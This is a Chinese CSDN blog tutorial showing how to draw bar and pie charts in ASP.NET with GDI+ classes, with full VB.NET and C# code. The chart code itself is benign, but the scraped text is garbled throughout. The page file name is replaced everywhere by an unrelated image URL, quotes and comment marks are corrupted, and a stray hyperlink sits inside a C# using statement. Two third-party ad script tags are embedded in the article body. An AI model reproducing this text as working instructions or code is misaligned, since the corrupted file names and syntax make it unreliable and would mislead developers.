在ASP.NET中动态创建柱状图和饼图

最新推荐文章于 2024-04-27 08:40:12 发布
最新推荐文章于 2024-04-27 08:40:12 发布
阅读量497 收藏 2
点赞数
文章标签： asp.net microsoft 图形 .net integer web
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/rox19840702/article/details/2126159
版权
<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>
 
    在应用程序开发中，我们会经常遇到把从数据源动态取回的数据用统计图表现出来，在Microsoft .net Framework出现之前，我们采取的方法主要是编写组件来完成这一任务。现在，利用Microsoft .NET Framework提供的丰富的GDI+类和对象可以很轻松地实现这一功能。在本文中，我们就来看看在ASP.NET中如何动态创建常用的柱状图和饼图。数据源有许多种，在本文里我们就以数组来进行示例，但本例的方法很容易转换成数据库类型的数据源来进行。
  
  查看例子
  
  第一步：创建一个新的ASP.NET项目。
  
  打开Microsoft Visual Studio .NET，点击“文件(File)”-“新建(New)”-“项目(Project)”，打开“新建项目(New Project)”对话框，在“项目类型(Project Types)”里选择“Visual Basic 项目(Projects)”，在“模板(Templates)”里选择“ASP.NET应用程序(Web Application)”，在应用程序地址里输入：[url]http://localhost/aspCharts[/url]，点击“确定(OK)”按钮，Microsoft Visual Studio .NET将会自动在wwwroot目录下创建一个名为aspCharts的Web工程。
  
  第二步：为默认起始页编写代码（Aspxhttp://www.webwoo.net/upload_files/17/YwR9Xs10107.jpg）。
  
  我们要在这个页面里显示动态创建的图形，打开Aspxhttp://www.webwoo.net/upload_files/17/YwR9Xs10107.jpg的标签页的“HTML”视图，插入下面的代码：
  
  
  
   <html>
   <body>
   <form id=/"Form1/" method=/"post/" runat=/"server/">
   <table width=/"517/" border=/"0/" height=/"255/">
   <tr>
   <td align=/"middle/"><img src=/"http://www.webwoo.net/upload_files/17/YwR9Xs10107.jpg/"></td>
   </tr>
   <tr>
   <td height=/"20/" align=/"middle/">ASP.NET 中动态创建图形范例</td>
   </tr>
   </table>
   </form>
   </body>
  </html>
  
  第三步：添加名为[url]http://www.webwoo.net/upload_files/17/YwR9Xs10107.jpg[/url]的Web窗体页。
  
  打开“解决方案资源管理器(Solution Explorer)”，在“aspCharts项目”上点击右键，选择“添加(Add)”-“添加新项(Add New Item)”，弹出“添加新项(Add New Item)”对话框，在右边的“模板”里选择“Web 窗体”，在底下的名字输入框了输入“[url]http://www.webwoo.net/upload_files/17/YwR9Xs10107.jpg[/url]”，点击“打开”按钮。
  
  第四步：为“[url]http://www.webwoo.net/upload_files/17/YwR9Xs10107.jpg[/url]”Web 窗体页添加代码。
  
  在“[url]http://www.webwoo.net/upload_files/17/YwR9Xs10107.jpg[/url]”窗体上点击右键，选择“查看代码(View Code)”，在代码的第一行添加下面二行：
  
  
  
  
  Imports System.Drawing
  Imports System.Drawing.Imaging
  Public Class Chart
   Inherits System.Web.UI.Page
  
  #Region /" Web 窗体设计器生成的代码 /"
  
   /'该调用是 Web 窗体设计器所必需的。
   <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
  
   End Sub
  
   Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
   /'CODEGEN: 此方法调用是 Web 窗体设计器所必需的
   /'不要使用代码编辑器修改它。
   InitializeComponent()
   End Sub
  
  #End Region
  
   /'创建页面事件
   Private Sub Page_Load(ByVal sender As System.Object, _
   ByVal e As System.EventArgs) Handles MyBase.Load
  
   /'声明整型变量i，
   Dim i As Integer
  
   /'创建一个位图对象，用来放置柱形图，我们可以把它看作是一块画布。
   /'这里宽、高分别是400和200，当然，你也可以根据需要把它们做为参数来进行传递。
   Dim objBitMap As New Bitmap(400, 200)
  
   /'声明一个图形对象，在上面创建的位图上画图。
   Dim objGraphics As Graphics
  
   /'从指定的objBitMap对象创建新图形对象objGraphics。
   objGraphics = Graphics.FromImage(objBitMap)
  
   /'清除整个绘图面并以指定白色为背景色进行填充。
   objGraphics.Clear(Color.White)
  
   /'创建一个数据源，这里我们为了方便其间，采用数组做为柱形图和饼图的数据源。
   Dim arrValues(5) As Integer
   arrValues(0) = 100
   arrValues(1) = 135
   arrValues(2) = 115
   arrValues(3) = 125
   arrValues(4) = 75
   arrValues(5) = 120
  
   /'定义数组对象，用来描述图例。
   Dim arrValueNames(5) As String
   arrValueNames(0) = /"一月/"
   arrValueNames(1) = /"二月/"
   arrValueNames(2) = /"三月/"
   arrValueNames(3) = /"四月/"
   arrValueNames(4) = /"五月/"
   arrValueNames(5) = /"六月/"
  
   /'在画布（objBitMap对象）的坐标5，5处，用指定的Brush（画笔）对象和Font（字体）对象绘制统计图标题。
   objGraphics.DrawString(/" X 公司上半年销售情况/", _
   New Font(/"宋体/", 16), Brushes.Black, New PointF(5, 5))
  
   /'创建图例文字。
   Dim symbolLeg As PointF = New PointF(335, 20)
   Dim descLeg As PointF = New PointF(360, 16)
  
   /'画出图例。利用objGraphics图形对象的三个方法画出图例：
   /'FillRectangle()方法画出填充矩形，DrawRectangle()方法画出矩形的边框，
   /'DrawString()方法画出说明文字。这三个图形对象的方法在 .NET 框架类库类库中均已重载，
   /'可以很方便根据不同的参数来画出图形。
   For i = 0 To arrValueNames.Length - 1
  
   /'画出填充矩形。
   objGraphics.FillRectangle(New SolidBrush(GetColor(i)), symbolLeg.X, symbolLeg.Y, 20, 10)
  
   /'画出矩形边框。
   objGraphics.DrawRectangle(Pens.Black, symbolLeg.X, symbolLeg.Y, 20, 10)
  
   /'画出图例说明文字。
   objGraphics.DrawString(arrValueNames(i).ToString, New Font(/"宋体/", 10), Brushes.Black, descLeg)
  
   /'移动坐标位置，只移动Y方向的值即可。
   symbolLeg.Y += 15
   descLeg.Y += 15
  
   Next i
  
   /'遍历数据源的每一项数据，并根据数据的大小画出矩形图（即柱形图的柱）。
  
   For i = 0 To arrValues.Length - 1
  
   /'画出填充矩形。
   objGraphics.FillRectangle(New SolidBrush(GetColor(i)), _
   (i * 35) + 15, 200 - arrValues(i), 20, arrValues(i) + 5)
   /'画出矩形边框线。
   objGraphics.DrawRectangle(Pens.Black, (i * 35) + 15, 200 - arrValues(i), 20, arrValues(i) + 5)
  
   Next
    /'下面画饼图。先定义两个变量，代表当前角度和总角度，以便于画图时将角度进行按比例换算。
   Dim sglCurrentAngle As Single = 0
   Dim sglTotalAngle As Single = 0
  
   /'定义一个变量，代表总的销售额。
   Dim sglTotalValues As Single = 0
  
   /'计算总销售额。
   For i = 0 To arrValues.Length - 1
   sglTotalValues += arrValues(i)
   Next
  
   i = 0
  
   /'遍历数据源的每一项数据，并根据数据的大小画出饼图。
   /'图形对象的FillPie()方法和DrawPie()在.NET 框架类库中已重载。
   For i = 0 To arrValues.Length - 1
  
   /'计算当前角度值：当月销售额 / 总销售额 * 360，得到饼图中当月所占的角度大小。
   sglCurrentAngle = arrValues(i) / sglTotalValues * 360
  
   /'画出填充圆弧。
   objGraphics.FillPie(New SolidBrush(GetColor(i)), _
   220, 95, 100, 100, sglTotalAngle, sglCurrentAngle)
  
   /'画出圆弧线。
   objGraphics.DrawPie(Pens.Black, 220, 95, 100, 100, sglTotalAngle, sglCurrentAngle)
  
   /'把当前圆弧角度加到总角度上。
   sglTotalAngle += sglCurrentAngle
  
   Next i
  
   /'将objGraphics对象以指定的图形格式（这里是Gif）保存到指定的Stream对象，并输出到客户端。
   objBitMap.Save(Response.OutputStream, ImageFormat.Gif)
  
   End Sub
  
   /'下面这段函数用来根据不同的月份返回不同的颜色值。
   Private Function GetColor(ByVal itemIndex As Integer) As Color
  
   Dim objColor As Color
  
   Select Case itemIndex
   Case 0
   objColor = Color.Blue
   Case 1
   objColor = Color.Red
   Case 2
   objColor = Color.Yellow
   Case 3
   objColor = Color.Purple
   Case 4
   objColor = Color.Orange
   Case 5
   objColor = Color.Brown
   Case 6
   objColor = Color.Gray
   Case 7
   objColor = Color.Maroon
   Case 8
   objColor = Color.Maroon
   Case Else
   objColor = Color.Blue
   End Select
   Return objColor
   End Function
  
  End Class 
   
   
  好了，我们的代码已经写完，点击“全部保存”按钮，然后按“F5”执行，看看最好的结果。如果没有错误的话，您将会看到如下的结果：
  值得说明的是，上面只是简单地示例了如何利用.NET 框架类库中的图形类创建简单的图形，但.NET 框架类库中还提供了更高级的二维和矢量图形功能，利用这些高级功能，我们可以创建出二维或矢量的图形，那时，我们的图形看起来会更加形象。
  
  本文所有代码在简体中文Windows 2000 + .NET FrameWork 1.0（英文正式版）+ .NET FrameWork SP1和Windows XP + .NET FrameWork 1.0（中文版）下调试通过。
  
  C#代码
  
  using System;
  using System.Collections;
  using System.ComponentModel;
  using System.Data;
  using System.Drawing;
  using System.Web;
  using System.Web.SessionState;
  using System.Web.UI;
  using System.Web.UI.<a href=http://blog.51cto.com//"http://dev.21tx.com/dotnet/aspnet/webcontrols//" target=/"_blank/">WebControls</a>;
  using System.Web.UI.HtmlControls;
  using System.Drawing.Imaging;
  
  namespace eMeng.Exam
  {
  /// <summary>
  /// Chart 的摘要说明。
  /// </summary>
  public class Chart : System.Web.UI.Page
  {
  private void Page_Load(object sender, System.EventArgs e)
  {
   // 在此处放置用户代码以初始化页面
   Bitmap objBitMap = new Bitmap(400, 200);
   Graphics objGraphics;
   objGraphics = Graphics.FromImage(objBitMap);
   objGraphics.Clear(Color.White);
   int[] arrValues = {100,135,115,125,75,120};
   string[] arrValueNames = new string[]{/"一月/",/"二月/",/"三月/",/"四月/",/"五月/",/"六月/"};
   objGraphics.DrawString(/" X 公司上半年销售情况/",
   new Font(/"宋体/", 16), Brushes.Black, new PointF(5, 5));
   PointF symbolLeg = new PointF(335, 20);
   PointF descLeg = new PointF(360, 16);
   for (int i = 0; i < arrValueNames.Length; i++)
   {
   objGraphics.FillRectangle(new SolidBrush(GetColor(i)), symbolLeg.X, symbolLeg.Y, 20, 10);
   objGraphics.DrawRectangle(Pens.Black, symbolLeg.X, symbolLeg.Y, 20, 10);
   objGraphics.DrawString(arrValueNames[i].ToString(), new Font(/"宋体/", 10), Brushes.Black, descLeg);
   symbolLeg.Y += 15;
   descLeg.Y += 15;
   }
   for (int i = 0; i < arrValues.Length; i++)
   {
   objGraphics.FillRectangle(new SolidBrush(GetColor(i)), (i * 35) + 15, 200 - arrValues[i], 20,
   arrValues[i] + 5);
   objGraphics.DrawRectangle(Pens.Black, (i * 35) + 15, 200 - arrValues[i], 20, arrValues[i] + 5);
   }
   float sglCurrentAngle = 0;
   float sglTotalAngle = 0;
   float sglTotalValues = 0;
   for (int i = 0; i <= arrValues.Length - 1; i++)
   {
   sglTotalValues += arrValues[i];
   }
   for (int i = 0; i < arrValues.Length; i++)
   {
   sglCurrentAngle = arrValues[i] / sglTotalValues * 360;
   objGraphics.FillPie(new SolidBrush(GetColor(i)), 220, 95, 100, 100, sglTotalAngle, sglCurrentAngle);
   objGraphics.DrawPie(Pens.Black, 220, 95, 100, 100, sglTotalAngle, sglCurrentAngle);
   sglTotalAngle += sglCurrentAngle;
   }
   objBitMap.Save(Response.OutputStream, ImageFormat.Gif);
  
  }
  private Color GetColor(int itemIndex)
  {
   Color objColor;
   if (itemIndex == 0)
   {
   objColor = Color.Blue;
   }
   else if (itemIndex == 1)
   {
   objColor = Color.Red;
   }
   else if (itemIndex == 2)
   {
   objColor = Color.Yellow;
   }
   else if (itemIndex == 3)
   {
   objColor = Color.Purple;
   }
   else if (itemIndex == 4)
   {
   objColor = Color.Orange;
   }
   else if (itemIndex == 5)
   {
   objColor = Color.Brown;
   }
   else if (itemIndex == 6)
   {
   objColor = Color.Gray;
   }
   else if (itemIndex == 7)
   {
   objColor = Color.Maroon;
   }
   else if (itemIndex == 8)
   {
   objColor = Color.Maroon;
   }
   else
   {
   objColor = Color.Blue;
   }
   return objColor;
  }
  
  
  #region Web 窗体设计器生成的代码
  override protected void OnInit(EventArgs e)
  {
   //
   // CODEGEN: 该调用是 ASP.NET Web 窗体设计器所必需的。
   //
   InitializeComponent();
   base.OnInit(e);
  }
  
  /// <summary>
  /// 设计器支持所需的方法 - 不要使用代码编辑器修改
  /// 此方法的内容。
  /// </summary>
  private void InitializeComponent()
  {
   this.Load += new System.EventHandler(this.Page_Load);
  }
  #endregion
  }
  }
<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>
rox19840702
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Asp.Net实例：C# 绘制统计图（一） ——柱状图
ba_wang_mao的专栏
07-16 3332
Asp.Net实例：C# 绘制统计图 (柱状图, 折线图, 扇形图) 统计图形种类繁多, 有柱状图, 折线图, 扇形图等等, 而统计图形的绘制方法也有很多, 有Flash制作的统计图形, 有水晶报表生成统计图形, 有专门制图软件制作, 也有编程语言自己制作的；这里我们用就C# 制作三款最经典的统计图: 柱状图, 折线图和扇形图；既然是统计, 当然需要数...
ASP.NET页面中实现数据柱状图
Goldxwang的博客
10-25 3639
棒图有时又称为"Bar"图，在ASP.NET中拥有了一个新功能--绘图功能，通过此功能就能够按照要实现的图表的模样来绘制，最后在客户端的浏览器中形成一个图片，从而显示出图表来。 　　本文就是介绍在ASP.NET页面中实现Bar图的具体方法。希望本篇文章能够让您领会到ASP.NET中强大的绘图功能，而我们知道图表只有在和数据库关联以后，才能够显示出更强大的优势。下面就来介绍在ASP.NET页面
asp.net中绘制柱状图
JustLovePro的专栏
05-08 2012
  图形的绘制涉及到的类并不是很多，如果要绘制图形，特别是这种数据源动态变化的图形，坐标位置的控制非常关键。  这个Demo采用oracle数据库为数据源： CREATE TABLE IVAN_TEST(  MAJOR  VARCHAR2(50),  GRADE  NUMBER,  ID     NUMBER(10))Html中加入： asp:Button ID="btnC
asp.net生成柱状图
fanluo2005的专栏
11-07 440
//创建X坐标,表示月份         int[] month = new int[3] { 1, 2, 3 };         //创建Y坐标,表示销售额         double[] count = new double[3] { 120,240,220};         //创建图表空间;         ChartSpace mychartspace = new Cha
asp.net中生成饼状与柱状图实例
10-25
主要介绍了asp.net中生成饼状与柱状图的方法,以实例形式较为详细的讲述了生成饼状与柱状图的原理与具体代码,包括前后台的实现代码,需要的朋友可以参考下
ASP.NET绑定sql数据库采用echarts显示数据图表(实现了柱状图和饼图).zip
12-12
ASP.NET绑定sql数据库采用echarts显示数据图表，已封装成类文件
Axure动态图表+折线图+饼图+柱状图
10-28
Axure动态图表+折线图+饼图+柱状图； 饼状图、柱状图、折线图含交互动画； 软件版本：Axure8.1（兼容Axure9、Axure10）
asp生成柱状图无组件asp生成柱状图
09-01
无组件asp生成柱状图，具有很高的价值多个关键字请用空格分隔，最多填写5个。点击右侧Tag快速添加 ，多个关键字请用空格分隔，最多填写5个。点击右侧Tag快速添加
ASP版的柱状图
quweiie的专栏
04-10 2434
%Function table1(total,table_x,table_y,thickness,table_width,all_width,all_height,table_type)参数含义(传递的数组，横坐标，纵坐标，柱子的厚度，柱子的宽度，图表的宽度，图表的高度,图表的类型)纯ASP代码生成图表函数1——柱状图作者：龚鸣(Passwordgm) QQ:25968152 MSN:p
ASP.NET动态创建柱状图与饼状图
Shadow的专栏
08-01 8637
     做web项目开发，难免会遇到动态创建柱状图或饼型图。现在用.net技术实现动态的创建它们。由于本身比较喜欢足球，更是鲁能的球迷，所以就用了鲁能的主场球迷人数作为例子，请不要太惊奇！ 一个人在西安的山东人希望鲁能可以提前夺冠！！呵呵，扯远了……动态创建柱状图与饼状图的前台HTML代码如下：                                    
法律知识学习考试系统 C#+uniapp+asp.net微信小程序
最新发布
专注分享bishe530的博客
04-27 336
管理员端实现管理员的注册登录以及教师和学生的注册、法律法规内容的发布与更新、法律法规页面的评论的添加与删除、内容查询、知识小测的内容发布与删除、问卷调查的发布与劇除、学习情况的统计等功能;毂师端实现教师的登录、法律法规内容的发布与更新、法律法规页面的评论的添加与制除、内容查询、知识小测的内容发布与删除、问卷调查的发布与删除、学习情况的统计等功能;学生端实现学生的登录、法律法规的内容查询、法律法规页面的评论的添加、知识小测的填写、问卷调查的填写、学习情况的查询;二 系统开发环境及关键技术 3。
vue echarts柱状图和饼图
09-13
然后，在你的 Vue 组件中，你可以引入 Echarts 并创建一个柱状图和饼图的实例。例如： ```vue ; height: 400px;"> ; height: 400px;"> import echarts from 'echarts' export default { mounted() { ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值